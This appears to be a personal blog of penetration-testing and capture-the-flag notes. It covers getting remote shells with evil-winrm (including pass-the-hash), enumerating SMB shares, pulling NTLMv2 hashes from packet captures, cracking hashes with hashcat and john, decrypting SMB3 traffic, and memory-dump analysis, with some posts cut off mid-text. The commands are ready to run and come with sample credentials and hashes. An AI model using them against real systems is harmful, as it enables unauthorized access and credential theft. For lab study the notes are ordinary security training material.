Avi's blog

https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/ sudo gem install winrm winrm-fs colorize stringio   sudo gem install evil-winrm   works on port 5985 and 5986 as wsman  This tool is used to get a shell on the remote machine.  but before that you can check will you be given shell on remote box or not by the below command: crackmapexec winrm 10.10.10.192 -u NAccount -p H4cky21 if you see that pwn3d comes as result then you are good to go. you can pass both password or hash of a account.  evil-winrm -i 10.6.0.2 -u NAccount -p H4cky21 evil-winrm -i 10.10.10.192 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d   wmiexec.py tool will also do the same task.    Avi  

Here NAccount is username and assume we have the password of NAccount. Once we give enter it will ask password for NAccount user. smbclient -U NAccount -L //10.6.0.2 -L --list=host get a list of shares available on a host.  Lets say we found a sharename called SYSVOL. so how can we access that? smbclient -U NAccount //10.6.0.2/ SYSVOL    (again will ask for NAccount password)  Now we can see what is inside of SYSVOL folder.   smbclient -U SAccount //10.6.0.2/SpaceRace    (once give enter will ask for SAccount password, assume we have cracked SAccount password as well)  Lets say we want to view lists of share folders using anonymous username. The smbmap can help. No password is required here. smbmap will also tell you which share folder are read only mode and which are not. smbclient will not tell you that. crackmapexec will also tell you like smbmap. smbmap -u "Anonymous" -H 10.10.10.192 smbmap -H 10.10.10.192 -u '' -p '' smbmap -H 10.10.10.19...

  Does not meet password complexity.  Main hash. aad3b435b51404eeaad3b435b51404ee:b269f3bb4933d8aa6597cfd2de75397e in order to crack copy the 2nd part of the hash and paste in hash.txt file.  hash.txt file contains the following hash b269f3bb4933d8aa6597cfd2de75397e D:\Apps\hashcat-6.1.1>hashcat.exe -m 1000 -O hash.txt wordlists\crackstation_real.txt But unfortunately it will not crack. Because we are specifically told password must be less than 8 characters.  D:\Apps\hashcat-6.1.1>hashcat.exe -m 1000 -O hash.txt -a 3 ?a?a?a?a?a?a?a   It will crack.    

https://github.com/mlgualtieri/NTLMRawUnHide git clone https://github.com/mlgualtieri/NTLMRawUnHide.git python3 NTLMRawUnHide/NTLMRawUnHide.py -i stolen.pcapng It will recover very quickly NTLMv2 hash from the pcap file. Now crack this using hashcat or john the ripper.   https://medium.com/@petergombos/lm-ntlm-net-ntlmv2-oh-my-a9b235c58ed4   john --format=netntlmv2 hash.txt hashcat -m 5600 -a 3 hash.txt   -a is attack mode, 3 means brute force.  Avi

https://medium.com/maverislabs/decrypting-smb3-traffic-with-just-a-pcap-absolutely-maybe-712ed23ff6a2 Solution at the last.....   Initial inspection:  filter with smb2 protocol.  Look for packet info column where it is written that, Session Setup Request, NTLMSSP_AUTH, User: JUPITER\Administrator.   (domain name\username is variable) expand the packet. you will get session id: 0x00000000b06d3ffe and session key: b35056d4bb7f4382ee7aabd0f055bad0 Now navigate to edit > preferences > protocols > smb2 > edit  Now input as follows: session id: 00000000b06d3ffe session key: b35056d4bb7f4382ee7aabd0f055bad0 after clicking OK you may notice that smb3 packets are still encrypted. But in the packets some changes has come.  https://github.com/mlgualtieri/NTLMRawUnHide git clone https://github.com/mlgualtieri/NTLMRawUnHide.git python3 NTLMRawUnHide/ NTLMRawUnHide.py -i stolen.pcapng   It will recover very quickly NTLMv2 hash.  Now crack this ...

  The hash starts with $y$ kali or parrot new hash algorithm is yescrypt. you need to give --format=crypt switch otherwise john will not able to handle this.   copy the hash from shadow file to hash.txt file. john hash.txt --wordlist=rockyou-75.txt --format=crypt   Avi

  strings jackobsPC.raw | grep -i 'Linux version' | uniq    (equivalent to uname -r command) Using the above command you identified that your linux version is 5.10.0-kali8-amd64 on the given memory dump. But when you check on your live kali machine the version was 5.10.0-kali9-amd64   https://http.kali.org/kali/pool/main/l/linux/ in order to downgrade from kali 9 to kali 8 you need to download and install following .deb packages from the above link.  https://http.kali.org/kali/pool/main/l/linux/linux-headers-5.10.0-kali8-amd64_5.10.40-1kali1_amd64.deb https://http.kali.org/kali/pool/main/l/linux/linux-headers-5.10.0-kali8-common_5.10.40-1kali1_all.deb https://http.kali.org/kali/pool/main/l/linux/linux-image-5.10.0-kali8-amd64_5.10.40-1kali1_amd64.deb https://http.kali.org/kali/pool/main/l/linux/linux-image-5.10.0-kali8-arm64-dbg_5.10.40-1kali1_arm64.deb Now you need to install all the above 4 debian packages.  sudo dpkg -i *.deb After installing the a...